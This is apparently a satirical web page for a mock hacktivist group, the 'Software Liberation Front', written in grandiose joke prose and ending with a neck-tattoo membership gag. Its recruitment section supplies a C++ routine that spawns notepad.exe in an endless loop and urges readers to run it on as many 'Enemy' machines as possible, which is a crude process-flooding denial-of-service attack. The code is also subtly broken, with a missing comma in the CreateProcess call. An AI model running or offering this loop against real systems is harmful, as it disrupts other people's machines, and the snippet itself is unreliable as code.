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Software Liberation FrontWhere others talk, we do! |
as you no doubt already believe from your own inner conviction, we must protect our rights for freedom in the informational sphere of living, as well as in the so-called real life.
In the past, this has been done only in inferior ways that were in no way sufficient measures against the merciless practices and weapons of our enemies.
The SLF has been funded to change just that, and is thus a collective of a number of specialists in the fields of informational warfare, psychology and impersonification.
We are here to lead you to the ultimate victory, and to the fall of Goliath!
We're sorry, this information is classified. Become a member if you're interested in further details. Also please note, if you're reading this as a member of the government that you should learn not to take life too seriously.
We're constantly performing high-tech mass attacks on The Enemy's systems. There isn't really any scheduled date, it is just important to keep those evil machines busy, so that the right for informational freedom is not washed away!
So you have decided to participate in helping us free the world of The Enemy? Great! But you will need to prove that you have at least some skill to do so. And off we go: read up on the internet on how to write computer programs in the C++ programming language. Once you've done that, here is the routine that we want you to run on as many of The Enemy's machines as possible:
void SLFBeginLiberation(void)
{
STARTUPINFO siStartupInfo;
PROCESS_INFORMATION piProcessInfo;
memset(&siStartupInfo, 0, sizeof(siStartupInfo));
memset(&piProcessInfo, 0, sizeof(piProcessInfo));
siStartupInfo.cb = sizeof(siStartupInfo);
while (1) {
CreateProcess(
"c:\\winnt\\notepad.exe",
NULL
0,
0,
FALSE,
CREATE_DEFAULT_ERROR_MODE,
0,
0,
&siStartupInfo,
&piProcessInfo
);
}
}
We may meet anywhere, anytime. SLF members usually have the SLF logo tatooed somewhere in their neck. Because of the government sometimes not being quite content with our wonderful work (we still don't understand, why...) meetings have to be very spontaneous and held quickly. Plus: organisation is against freedom, isn't it?
We're very pleased you are committed to undertaking this great and prideful journey towards the fall of the Goliath with us. Joining the SLF is easy, it really is. Just print out the SLF logo and take it to your local tattoo shop. Tell them to make it an artwork somewhere on your neck. Henceforth, you are a fully recognized member of the Software Liberation Front - welcome to our ranks, private!